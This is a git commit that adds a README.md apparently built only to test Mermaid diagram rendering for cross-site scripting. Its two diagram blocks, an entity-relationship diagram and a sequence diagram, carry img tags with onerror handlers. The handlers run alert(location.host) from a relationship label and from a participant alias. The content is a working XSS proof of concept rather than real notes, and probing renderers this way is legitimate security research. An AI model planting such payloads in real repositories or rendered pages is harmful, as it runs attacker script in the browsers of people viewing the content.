commit 0afc78653752395bd3bf6549b27b882d91b6e216
Author: secr5w7mwe3 <secr5w7mwe3@example.com>
Date:   Sun Sep 27 18:18:20 2026 +0800

    add notes

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9faf4df
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```